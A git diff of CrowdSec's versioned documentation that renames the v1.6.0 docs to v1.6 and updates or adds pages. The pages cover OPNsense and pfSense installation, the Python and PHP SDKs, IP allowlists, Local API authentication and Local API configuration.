-> `filter: "evt.Meta.log_type == '...' && (evt.Time.Hour() >= 20 || evt.Time.Hour() < 6)`
-
-Will detect if the event happened between 8pm and 6am (NWO).
-
-#### `Event.Time.Weekday().String() string`
-
-Returns the day of the week as a string (`Monday`, `Tuesday` etc.).
-
-> `filter: "evt.Meta.log_type == '...' && evt.Time.Weekday().String() in ['Saturday', 'Sunday']`
-
-Will detect if the event happend over the weekend (NWD).
-
-## Source specific helpers
-
-### `Source.GetValue() string`
-
-Return the `Source.Value` field value of a `Source`.
-
-### `Source.GetScope() string`
-
-Return the `Source.Scope` field value of `Source` (`ip`, `range` ...)
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/strings_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/strings_helpers.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/strings_helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/strings_helpers.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/crowdsec_tour.mdx b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/crowdsec_tour.mdx
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/crowdsec_tour.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/crowdsec_tour.mdx
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/getting_started_on_windows.md b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/getting_started_on_windows.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/getting_started_on_windows.md
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/getting_started_on_windows.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_opnsense.md b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_opnsense.md
similarity index 69%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_opnsense.md
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_opnsense.md
index c046a919f..906cfc7f8 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_opnsense.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_opnsense.md
@@ -4,45 +4,52 @@ title: OPNsense
sidebar_position: 1
---
-## The OPNsense plugin
+# OPNsense plugin
-OPNsense, the widely known firewall and routing software, is based on FreeBSD. The standard packages that we provide for FreeBSD (agent+lapi and bouncer) can also run on OPNsense, but need more integration with the rest of the system (for example, to feed the firewall tables).
+The CrowdSec plugin for OPNsense is installed from the official repositories.
+It includes a Log Processor, LAPI service, and Remediation Component. This allows you
+to:
-By installing the `CrowdSec` plugin, available through the OPNsense repositories, you can:
-
- - use the OPNsense server as LAPI for other agents and bouncers
- - deploy an agent on OPNsense and scan its logs for attacks
- - block attackers from your whole network with a single firewall bouncer
+ - block attacking traffic from entering the network (protect machines that don't have CrowdSec)
+ - deploy a log processor on OPNsense and scan its logs for attacks
+ - use the OPNsense server as LAPI for other log processors and remediation components
- list the hub plugins (parsers, scenarios..) and decisions on the OPNsense admin interface
-### Plugin installation
+## Plugin installation
-:::caution
-With OPNsense 22.1, if you are using a RAM filesystem for `/var` (you can verify `System > Settings > Miscellaneous > Disk/Memory Settings`) you need to disable it before proceeding, because the `Security Engine` keeps a small persistent database in `/var/db`. When the `/var` directory is in RAM, the database is re-created from scratch at each reboot. The ram disk was changed to `/var/log` for 22.7, which does not interfere with the database.
-:::
+Click `System > Firmware > Plugins` menu. Select os-crowdsec. It will deploy three packages:
-With OPNsense 22.1:
+ - `os-crowdsec`, the plugin itself
+ - `crowdsec`
+ - `crowdsec-firewall-bouncer`
-```console
-# pkg install os-crowdsec-devel
-```
+Do not enable/start the services from the terminal like you would on a standard freebsd system, because the plugin takes care of that.
-With OPNsense >= 22.7:
+Refresh the page and go to `Services > CrowdSec > Overview` to verify the running services and installed configurations.
-Download CrowdSec from the `System > Firmware > Plugins` menu. It will deploy three packages:
+Great, you now have CrowdSec installed on your system. Have a look at the [post installation steps](/u/getting_started/next_steps) to see how to to configure and optimize it,
+these recommendations are valid for any system.
- - `os-crowdsec`, the plugin itself
- - `crowdsec`
- - `crowdsec-firewall-bouncer`
-On the Settings tab, select the first three checkboxes: IDS, LAPI and IPS. Click Apply.
+## Plugin Configuration
-Do not enable/start the agent and bouncer services with `sysrc` or `/etc/rc.conf` like you would on a standard freebsd system, because the plugin takes care of that (in a different way).
+You will find some options under `Services > CrowdSec > Settings`. You will see the first three are enabled by default: Log Processor (previously known as IDS), LAPI and Remediation Component (previously known as IPS).
+You can disable them for testing or if you have special requirements.
The parsers, scenarios and all objects from the [CrowdSec Hub](https://hub.crowdsec.net/) are periodically upgraded. The [crowdsecurity/freebsd](https://hub.crowdsec.net/author/crowdsecurity/collections/freebsd) and [crowdsecurity/opnsense](https://hub.crowdsec.net/author/crowdsecurity/collections/opnsense) collections are installed by default.
-### Testing the plugin
+Since crowdsec 1.6.3, private IP networks are whitelisted by default as well. This means for example an IP from a LAN or WAN which is on 192.168.x.y won't get blocked by a local decision
+(community blocklists don't contain private IPs).
+
+If you want to revert to the previous behavior, to block private IPs as well, you can remove the related parser.
+
+```console
+[root@OPNsense ~]# cscli parsers remove crowdsecurity/whitelists
+```
+
+If on the other hand you upgrade from a version before 1.6.3, you need to install the lists yourself.
+## Testing the remediation component
A quick way to test that everything is working correctly is to execute the following command. Your ssh session should freeze and you should be kicked out from the firewall. You will not be able to connect to it (from the same IP address) for two minutes. It might be a good idea to have a secondary IP from which you can connect, should anything go wrong.
@@ -54,7 +61,7 @@ This is a more secure way to test than attempting to brute-force yourself: the d
You can find a list of all available flags with `cscli decisions add --help`.
-#### How do I find my connecting IP address to test?
+### How do I find my connecting IP address to test?
We have provided some examples below to help you find your connecting IP address. Depending on your shell / environment, you may need to use a different command.
@@ -65,8 +72,7 @@ We have provided some examples below to help you find your connecting IP address
## Remote LAPI setup (optional)
-You may have a need to put the LAPI service on a different machine, possibly because you already have it, or opnsense is running on a slow machine or...
-well - your servers, your right to choose. But you'll have to manually tweak the configuration (thanks [Jarno Rankinen](https://github.com/0ranki)).
+If you don't want to run the LAPI service on the OPNsense machine (because it's small/slow or you already have LAPI somewhere) then you'll have to manually tweak the configuration (thanks [Jarno Rankinen](https://github.com/0ranki)).
Be aware: the list of machines and bouncers shown in the Overview tab will be incorrect. In the current version, the crowdsec instance on OPNsense has no way (and no permission) to retrieve the list of machines and bouncers from the LAPI if it resides on another server, so it displays the local (and outdated) information.
@@ -122,8 +128,3 @@ For more information on the topic:
- [Improve The CrowdSec Multi-Server Installation With HTTPS Between Agents](https://www.linuxjournal.com/content/improve-crowdsec-multi-server-installation-https-between-agents) (Linux Journal)
-## Enrolling your instance
-
-The next step is to enroll your instance with the [CrowdSec Console](https://app.crowdsec.net/security-engines?enroll-engine=true).
-
-For the benefits, please visit the [Console section](/u/console/intro).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_pfsense.md b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_pfsense.md
similarity index 66%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_pfsense.md
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_pfsense.md
index 7ff4a4284..cda238096 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_pfsense.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_pfsense.md
@@ -3,14 +3,13 @@ id: install_crowdsec_pfsense
title: pfSense
---
-We have created a [pfSense package](https://docs.netgate.com/pfsense/en/latest/packages/list.html) with
-a simple UI to configure the Security Engine and the Firewall Remediation Component (bouncer).
+The CrowdSec package for pfSense requires some manual installation steps, as it is not yet available in the official repositories.
Three types of setup are supported:
-**Small** (remediation only) - the pfSense machine receives blocklists from a CrowdSec
+**Small** (remediation only) - the pfSense machine receives blocklists from a
Security Engine that you are running on a different machine.
-Incoming connections are blocked at the firewall by (configurable) pfSense rules.
+Attacking traffic is blocked at the firewall by (configurable) pfSense rules.
**Medium** (small+log processor) - in addition to enforcing blocklists, the pfSense
machine can detect attacks directed at the firewall itself, for example port scans.
@@ -27,22 +26,26 @@ values to enable remediation, log processor and Local API.
:::info
The CrowdSec configuration is not transferred when you restore a pfSense backup, and you'll need
-to reconfigure it or backup separately.
+to reconfigure it or backup separately. Major pfSense upgrades may also require you to re-install
+or re-configure CrowdSec so please verify that it's running afterwards. We have submitted the package
+for inclusion in the official repository which should smooth out these issues.
:::
## Installing the package
-We have submitted the package to the pfSense developers for review and inclusion in the official repositories.
+ * Open an ssh connection to your pfSense box
-If you find `crowdsec` under `System/Package Manager`, we recommend you to install it from there.
+ * Download the install script and run it:
+```console
+# fetch https://raw.githubusercontent.com/crowdsecurity/pfSense-pkg-crowdsec/refs/heads/main/install-crowdsec.sh
+# sh install-crowdsec.sh
+```
-If the package is not available yet, you'll have to install it manually.
+* Do not activate or run the services yourself, because pfSense will take care of it.
- * Choose [the release you want to install](https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases),
- click `Assets` for the list of packages to install.
+If you want to install a beta or an older version, please refer to [the release page](https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases) of the repository and provide the --release option to the install script.
- * Open an ssh connection to your pfSense box and run the following commands in the right order. Do not activate or run the services,
- because pfSense will take care of it.
+ * Alternatively, you can download the packages to install in the `Assets` part of the release, and run the following commands in the right order.
```console
# setenv IGNORE_OSVERSION yes
@@ -53,16 +56,32 @@ If the package is not available yet, you'll have to install it manually.
# pkg add -f
```
+The direct links are for the most popular Community Edition of pfSense, architecture amd64. If you run on ARM or a different base version
+of FreeBSD, you will find .tar files in the release assets containing the packages for the possible platforms.
+
+
## Configuration
-Once the package and its dependencies are installed, go to `Service/CrowdSec`. The options *Remediation Component*,
+Once the package and its dependencies are installed, go to `Services/CrowdSec`. The options *Remediation Component*,
*Log Processor* and *Local API* should be enabled. Click Save.
-With the size analogy, the default is a "Large", autonomous installation. For a "Medium", disable *Local API* and fill the fields in the *Remote LAPI* section. For a "Small", disable *Log Processor* too.
+
+
+With the size analogy, the default is a "Large", autonomous installation.
+
+For a "Medium", disable *Local API* and fill the fields in the *Remote LAPI* section.
+
+
+
+For a "Small", disable *Log Processor* too.
CrowdSec on pfSense is fully functional from the command line but the web interface is read-only, with the exception of decision revocation (unban).
-Most actions require the shell or the [CrowdSec Console](https://app.crowdsec.net).
+Most other actions require the shell or the [CrowdSec Console](https://app.crowdsec.net).
For simple things, `Diagnostics/Command Prompt` works as well as ssh.
+
+
+
+
You are free to edit the files in `/usr/local/etc/crowdsec`, although some setting may be overwritten by the pfSense package if they are mandatory.
:::caution
@@ -77,11 +96,23 @@ need to connect them to a remote CrowdSec instance.
In the page `Status/CrowdSec` you can see
- - registered log processors and bouncers
+ - registered log processors and remediation components
+
+
+
+
- installed hub items (collections, scenarios, parsers, postoverflows)
+
+
+
+
- alerts and local decisions
+
+
+
-All tables are read-only with an exception: you can delete single decisions, to unban an IP for example.
+All tables are read-only with an exception: you can delete decisions one by one, to unban an IP for example.
+An IP may have been banned for several reasons, which counts as separate decisions.
All hub objects are periodically upgraded with a cron job.
@@ -123,8 +154,19 @@ Make sure to reload or restart CrowdSec when you add new data sources.
## Diagnostics
-Under `Diagnostics/CrowdSec` you can check if the logs are acquired and the
-events are triggered correctly. For real monitoring, you can fetch the same metrics with
+Under `Diagnostics/CrowdSec Metrics` you can check if the logs are acquired and the
+events are triggered correctly.
+
+
+
+
+
+
+
+
+
+
+For real monitoring, you can fetch the same metrics with
[Prometheus](https://docs.crowdsec.net/docs/observability/prometheus/) (Grafana dashboard included)
Telegraf or your favorite solution.
@@ -135,6 +177,9 @@ If you are not running a LAPI or a Log Processor, some metrics are always empty.
You can see the Security Engine logs in `Status/System Logs/Packages/crowdsec`.
+
+
+
Other logs not shown in the UI are in `/var/log/crowdsec/crowdsec_api.log`
and `crowdsec-firewall-bouncer.log`.
@@ -142,11 +187,20 @@ and `crowdsec-firewall-bouncer.log`.
## Service Management
Both services, Security Engine (crowdsec) and Remediation (crowdsec-firewall-bouncer) can be controlled from `Status/Services`.
+
+
+
+
The equivalent shell commands are `service crowdsec.sh start/stop/restart` and `service crowdsec_firewall.sh start/stop/restart`. Note the ending **.sh**!
## Viewing blocked IPs
-You can see the tables of the blocked IPs in Diagnostics/Tables or from the shell, with the commands
+You can see the tables of the blocked IPs in `Diagnostics/Tables`
+
+
+
+
+Or from the shell, with the commands
`pfctl -T show -t crowdsec_blacklists` (IPv4) and `pfctl -T show -t crowdsec6_blacklists` (IPv6).
To show the same data with more context, use `cscli decisions list -a`.
@@ -180,14 +234,22 @@ If you need more CrowdSec tests you may want to temporarily disable Login Protec
## LAN / private networks whitelist
-By default the FreeBSD version of CrowdSec does not install any whitelist.
-If you trust your `10.0.0.0/8`, `192.168.0.0/16` and `172.16.0.0/12`
-networks, you can use `cscli parsers install crowdsecurity/whitelists` to whitelist them.
+Since crowdsec 1.6.3, private IP networks are whitelisted by default as well. This means for example an IP from a LAN or WAN which is on 192.168.x.y won't get blocked by a local decision
+(community blocklists don't contain private IPs).
+
+If you want to revert to the previous behavior, to block private IPs as well, you can remove the related parser.
+
+```console
+[root@OPNsense ~]# cscli parsers remove crowdsecurity/whitelists
+```
+
+If on the other hand you upgrade from a version before 1.6.3, you need to install the lists yourself.
+
## Uninstalling
In most cases, just remove the `crowdsec` package from
-`System/Package Manager/Installed Packages`.
+`System/Package Manager/Installed Packages`, or run the installation script with the --uninstall option.
This won't remove the database or configuration files, just in case
you want to reinstall CrowdSec later.
@@ -202,17 +264,3 @@ If you need to make sure you removed all traces of CrowdSec, you can run the fol
For testing purposes, you may want to remove the <crowdsec> section
from `/conf/config.xml` as well.
-
-## The blocklist mirror
-
-Before releasing the official package, one way to integrate pfSense and CrowdSec
-was to install a blocklist mirror and connect it to pfBlockerNG. While this is still
-a viable solution, it has slower performance than the method described above,
-especially in terms of latency when receiving decision updates.
-It also required pfBlockerNG in addition to CrowdSec.
-
-## Enrolling your instance
-
-The next step is to enroll your instance with the [CrowdSec Console](https://app.crowdsec.net/security-engines?enroll-engine=true).
-
-For the benefits, please visit the [Console section](/u/console/intro).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_pyagent.md b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_pyagent.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_pyagent.md
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_pyagent.md
index 34c3f7b88..4a885348a 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_pyagent.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_pyagent.md
@@ -6,7 +6,7 @@ sidebar_position: 1
# Using our Python SDK
-This python SDK is designed for signal sharing partners to send signals and benefit from the community blocklist.
+ This python SDK is designed for signal sharing partners to send signals and benefit from the community blocklist.
Our SDK does the heavy lifting of the CAPI connectivity so you can simply, sendSignals and getDecisions, as well as enroll your soft-agent into the console.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_softagent.md b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_softagent.md
similarity index 99%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_softagent.md
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_softagent.md
index 1823f3d9e..191afe393 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_softagent.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_softagent.md
@@ -4,7 +4,7 @@ title: Soft Agent
sidebar_position: 1
---
-# Using our SDK
+# Using our PHP SDK
With the help of our SDK, If you are developing security software that detects misbehaviors and does remediation on IPs, you can send signals about your detections and benefit from the community blocklist.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_source.mdx b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_source.mdx
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_source.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/getting_started/install_source.mdx
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/getting_started/sdk_intro.mdx b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/sdk_intro.mdx
new file mode 100644
index 000000000..04679bd9e
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/getting_started/sdk_intro.mdx
@@ -0,0 +1,21 @@
+---
+id: sdk_intro
+title: introduction to the SDKs
+sidebar_position: 1
+---
+
+CrowdSec offers lightweight SDKs for Python and PHP to help developers seamlessly integrate signal sharing capabilities into their security tools, platforms, or services.
+
+By using these SDKs, you can report signals such as suspicious IP activity or confirmed attacks directly to the Central API (CAPI). In return, your users gain access to the CrowdSec Community Blocklist, a curated and constantly updated list of IPs involved in malicious behavior observed across the global CrowdSec network.
+
+Why Integrate the SDK:
+- **Simple Integration** — Add signal sharing with just a few lines of code
+- **Community-Powered Protection** — Contributions help power our global threat intelligence network
+- **Mutual Benefit** — Your platform shares valuable intelligence and gains stronger real-time protection in return
+
+## Supported SDKs
+
+* [Python SDK](install_pyagent)
+* [PHP SDK](install_softagent)
+
+Whether you're building a WAF, SIEM, or a custom security tool, the CrowdSec SDKs make it easy to contribute to and benefit from a collaborative defense network.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/intro.mdx b/crowdsec-docs/versioned_docs/version-v1.6/intro.mdx
similarity index 87%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/intro.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/intro.mdx
index 695f35751..eb256f250 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/intro.mdx
+++ b/crowdsec-docs/versioned_docs/version-v1.6/intro.mdx
@@ -29,7 +29,7 @@ The crowd-sourced aspect allows the sharing of attacks they detected and blocked
In addition to the core "detect and react" mechanism, CrowdSec is committed to several other key aspects:
-- **Easy Installation**: Effortless out-of-the-box installation on all [supported platforms](/getting_started/versions_matrix.md).
+- **Easy Installation**: Effortless out-of-the-box installation on all [supported platforms](/u/getting_started/intro).
- **Simplified Daily Operations**: You have access to our Web UI administration via [CrowdSec's console](http://app.crowdsec.net) or the powerful [Command line tool cscli](/cscli/cscli.md) for effortless maintenance and keeping your detection mechanisms up-to-date.
- **Reproducibility**: The Security Engine can analyze not only live logs but also [cold logs](/u/user_guides/replay_mode), making it easier to detect potential false triggers, conduct forensic analysis, or generate reports.
- **Versatile**: The Security Engine can analyze [system logs](/docs/data_sources/intro) and [HTTP Requests](/docs/next/appsec/intro) to exhaustively protect your perimeter.
@@ -49,9 +49,9 @@ In addition to the core "detect and react" mechanism, CrowdSec is committed to s
Under the hood, the Security Engine has various components:
-- The Log Processor is in charge of detection: it analyzes logs from [various data sources](data_sources/intro) or [HTTP requests](appsec/intro) from web servers.
+- The [Log Processor](log_processor/intro.mdx) is in charge of detection: it analyzes logs from [various data sources](data_sources/intro) or [HTTP requests](appsec/intro) from web servers.
- The [Appsec](appsec/intro) feature is part of the Log Processor and filters HTTP Requests from the compatible web servers.
-- The [Local API](/local_api/intro.md) acts as a middle man:
+- The [Local API](local_api/intro.md) acts as a middle man:
- Between the [Log Processors](/docs/data_sources/intro) and the [Remediation Components](/u/bouncers/intro) which are in charge of enforcing decisions.
- And with the [Central API](/central_api/intro.md) to share alerts and receive blocklists.
- The [Remediation Components](/u/bouncers/intro) - also known as bouncers - block malicious IPs at your chosen level—whether via IpTables, firewalls, web servers, or reverse proxies. [See the full list on our CrowdSec Hub.](https://app.crowdsec.net/hub/remediation-components)
@@ -60,8 +60,9 @@ Under the hood, the Security Engine has various components:
This architecture allows for both simple/standalone setups, or more distributed ones including as illustrated below:
-- One or more machines? Run crowdsec on each (alongside with a remediation component)
-- Already have a log pit (such as rsyslog or loki)? Run crowdsec next to it, not on the production workloads
+- Single machine ? Follow our [getting started guide](/u/getting_started/intro)
+- Multiple machines? Use the [distributed setup guide](/u/user_guides/multiserver_setup)
+- Already have a log pit (such as rsyslog or loki)? [Run crowdsec next to it](/u/user_guides/log_centralization), not on the production workloads
- Running Kubernetes? Have a look at [our helm chart](/u/getting_started/installation/kubernetes)
- Running containers? The [docker data source](/docs/data_sources/docker) might be what you need
- Just looking for a WAF? Look at [our quickstart](appsec/intro)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/allowlists.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/allowlists.md
new file mode 100644
index 000000000..166e557eb
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/allowlists.md
@@ -0,0 +1,113 @@
+---
+id: centralized_allowlists
+title: Allowlists
+sidebar_position: 7
+---
+
+# AllowLists
+
+The AllowLists feature in CrowdSec lets users manage IP-based allowlists at the LAPI level, affecting both local decisions and blocklist pulls. [Paying customers can also control AllowLists directly from the console for added convenience](/u/console/allowlists). This ensures greater flexibility in managing trusted IPs while maintaining CrowdSec’s robust security measures.
+
+
+The AllowLists affect local decision and blocklist pulls in different ways:
+
+| Area | Action | Real Time |
+|-------|------|------|
+| Local alerts | Alert is dropped, action logged. | ✅ |
+| Blocklists | IP is removed before database insertion | ✅ |
+| WAF (AppSec) | Request not blocked, action logged. | Refreshed every minute |
+| cscli | Decision is blocked unless special flag is provided | ✅ |
+
+
+AllowLists are limited to IP/Range based rules. If you need rules that rely on log elements such as URL and so on, [Parser Whitelists](/log_processor/whitelist/introduction.md) or [Profile Rules](/local_api/profiles/format.md) might more relevant.
+
+
+### Creating an allowlist
+
+Allowlists creation is done with `cscli allowlists create`, for example: `cscli allowlists create my_allowlistd -d safe_ips`.
+
+The `-d` parameter is mandatory, it's a description for the allowlist for future reference:
+```bash
+$ cscli allowlists create my_allowlist --description "test allowlist"
+allowlist 'my_allowlist' created successfully
+```
+
+This command must be run on the LAPI.
+
+### Adding entries to an allowlist
+
+Adding new entries to an allowlist is done with `cscli allowlists add value_1 value_2 ...`.
+
+The allowlist must exist.
+
+By default, allowlist entries have no expiration, but you can specify one with the `-e` flag:
+
+```bash
+$ cscli allowlist add my_allowlist 1.2.3.4 -e 7d
+added 1 values to allowlist my_allowlist
+```
+
+Values can be either IPs or ranges.
+
+You can add an optional description for each entry with the `-d` flag:
+
+```bash
+$ cscli allowlists add my_allowlist 1.2.3.4 -e 7d -d "pentest IPs"
+added 1 values to allowlist my_allowlist
+```
+
+You cannot add the same values twice to an allowlist: if you want to edit an entry, you'll need to remove it first then add it again.
+
+This command must be run on the LAPI.
+
+
+### Removing entries from an allowlist
+
+Removing entries from an allowlist is done with `cscli allowlists remove value_1 value_2 ...`:
+```bash
+$ cscli allowlists remove my_allowlist 1.2.3.4
+removed 1 values from allowlist my_allowlist
+```
+
+This command must be run on the LAPI.
+
+
+### Viewing the content of an allowlist
+
+Allowlists can be inspected with `cscli allowlists inspect `:
+
+```bash
+$ cscli allowlist inspect my_allowlist
+
+──────────────────────────────────────────────
+ Allowlist: my_allowlist
+──────────────────────────────────────────────
+ Name my_allowlist
+ Description test allowlist
+ Created at 2025-03-06T13:14:42.957Z
+ Updated at 2025-03-06T13:15:13.684Z
+ Managed by Console no
+──────────────────────────────────────────────
+
+──────────────────────────────────────────────────────────────────────────────────
+ Value Comment Expiration Created at
+──────────────────────────────────────────────────────────────────────────────────
+ 1.2.3.4 example description 2025-03-13T13:15:05.046Z 2025-03-06T13:14:42.957Z
+ 5.4.3.2 never 2025-03-06T13:14:42.957Z
+──────────────────────────────────────────────────────────────────────────────────
+```
+
+This command can be run on the LAPI or any log processor machine.
+
+### Deleting an allowlist
+
+Allowlists can be deleted with `cscli allowlists delete `:
+
+```bash
+$ cscli allowlists delete my_allowlist
+allowlist 'my_allowlist' deleted successfully
+```
+
+The allowlist and all of its content will be deleted.
+
+This command must be run on the LAPI.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/authentication.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/authentication.md
new file mode 100644
index 000000000..85df5046b
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/authentication.md
@@ -0,0 +1,75 @@
+---
+id: authentication
+title: Authentication
+sidebar_position: 5
+---
+
+
+
+## Authentication
+
+There are three kinds of authentication to the Local API :
+
+1. API Keys: they are used to authenticate Remediation Components (bouncers) and can only read decisions
+2. Login/Password: they are used to authenticate Log Processors (machines) and can read, create and delete decisions
+3. TLS client certificates:
+ - they are used to authenticate Remediation Components (bouncers) and Log Processors (machines)
+ - based on the OU field of the certificate, the Local API will determine what permissions the client has as per the restrictions above (log processor or remediation components)
+ - this allows the Local API to authenticate clients without generating the clients before hand if you have a dynamic environment
+
+For TLS authentication please see our [dedicated documentation](/local_api/tls_auth.md).
+
+### Remediation Components (Bouncers)
+
+To register a Remediation Component to your API, you need to run the following command on the server where the API is installed:
+
+```bash
+sudo cscli bouncers add testBouncer
+```
+
+and keep the generated API token to use it in your Remediation Component configuration file.
+
+### Log Processors (machines)
+
+To allow a log processor to communicate with the Local API, each instance will need it own set of credentials which is validated by an admin of the Local API.
+
+There are two ways to register a CrowdSec to a Local API.
+
+1. You can generate credentials directly on the Local API server:
+
+```bash
+sudo cscli machines add testMachine
+```
+
+:::warning
+if you are running this command on the local API server, most likely it will already have it own credentials file. If you are generating credentials for a remote machine you must pass the `-f` flag to generate the credentials to another file.
+
+```bash
+sudo cscli machines add testMachine -f /path/to/credentials.yaml
+```
+or
+```bash
+sudo cscli machines add testMachine -f- > /path/to/credentials.yaml
+```
+:::
+
+Upon installation of CrowdSec it will generate it own set of credentials to operate the log processor and local API server.
+
+If you are installing these credentials on a remote machine, you must replace the `local_api_credentials.yaml` file within the configuration directory, you can find the location of this directory [here](/u/troubleshooting/security_engine#where-is-configuration-stored) based on your operating system.
+
+2. You can use `cscli` to send a registration request to the Local API server:
+
+```bash
+sudo cscli lapi register -u
+```
+
+And validate it with `cscli` on the server where the API is installed:
+
+```bash
+sudo cscli machines validate
+```
+
+:::info
+You can use `cscli machines list` to list all the machines registered to the API and view the ones that are not validated yet.
+:::
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/bouncers-api.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/bouncers-api.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/local_api/bouncers-api.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/bouncers-api.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/configuration.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/configuration.md
new file mode 100644
index 000000000..760544ea0
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/configuration.md
@@ -0,0 +1,117 @@
+---
+id: configuration
+title: Configuration
+sidebar_position: 6
+---
+
+
+## Configuration
+
+### Client
+
+By default, `crowdsec` and `cscli` use `127.0.0.1:8080` as the default Local API. However you might want to use a remote API and configure a different endpoint for your api client.
+
+#### Register to a Remote API server
+
+* On the machine you want to connect to a Local API server, run the following command:
+
+```bash
+sudo cscli lapi register -u http://:
+```
+
+* On the Local API server, validate the machine by running the command:
+
+
+```bash
+sudo cscli machines list # to get the name of the new registered machine
+```
+
+```bash
+sudo cscli machines validate
+```
+
+* Restart the CrowdSec service on the machine you registered once validated:
+
+```bash
+sudo systemctl restart crowdsec
+```
+
+#### Disable the registered machine Local API
+
+On the machine you ran `cscli lapi register`, it optimal to disable the Local API component to save on resources since it is now forwarding all alerts/decisions to the Local API server.
+
+Within the `config.yaml` file, set `enable` under `api.server` to `false`:
+
+```yaml
+api:
+ server:
+ enable: false
+```
+
+See where the `config.yaml` file is located on your operating system [here](/u/troubleshooting/security_engine#where-is-configuration-stored)
+
+### Server
+
+#### Configure listen URL
+
+If you would like your Local API to be used by a remote CrowdSec installation, you will need to modify the URL it listens on as by default it will listen on the loopback interface.
+
+Modify the [`listen_uri`](/configuration/crowdsec_configuration.md#listen_uri) option in the `config.yaml`.
+
+#### Enable SSL
+
+If your Local API is exposed to the internet, it is recommended to enable SSL or at least use a reverse proxy with SSL termination to secure the communication between the Log Processors / Remediation Components and the Local API.
+
+If your Log Processors and Remediation Components are apart of the same LAN or VPN, then this is not necessary step.
+
+##### Local API SSL
+
+You can configure the Local API to use SSL by setting the `tls` option under `api.server` in the `config.yaml` file.
+
+```yaml
+api:
+ server:
+ tls:
+ cert_file: "/path/to/cert.pem"
+ key_file: "/path/to/key.pem"
+```
+
+:::info
+If you are using a self signed certificate on connecting Log Processors and Remediation Components you must enable `insecure_skip_verify` options.
+:::
+
+- Log Processors (machines)
+
+```yaml
+api:
+ client:
+ insecure_skip_verify: true
+```
+
+- Remediation Components (bouncers)
+
+This can differ based on the configuration please refer to the documentation of the component you are using.
+
+If you would like to read the full configuration options for TLS on the Local API please [see here](/configuration/crowdsec_configuration.md#tls).
+
+You can also refer [here](/local_api/tls_auth.md) for the documentation about TLS authentication.
+
+##### Reverse Proxy
+
+We cannot cover all the reverse proxies available, please refer to the documentation of the reverse proxy you are using. However, the reverse proxy must send the connecting IP address as the `X-Forwarded-For` header to the Local API.
+
+However, when the Local API is behind a reverse proxy you will need to configure the `trusted_proxies` and `use_forwarded_for_headers` options under `api.server` within the `config.yaml` file to be able to get the correct IP address within the database.
+
+```yaml
+api:
+ server:
+ use_forwarded_for_headers: true
+ trusted_proxies:
+ - "127.0.0.1" ## Change this to the proxy IP this is presuming the proxy is on the same machine
+```
+
+See where the `config.yaml` file is located on your operating system [here](/u/troubleshooting/security_engine#where-is-configuration-stored)
+
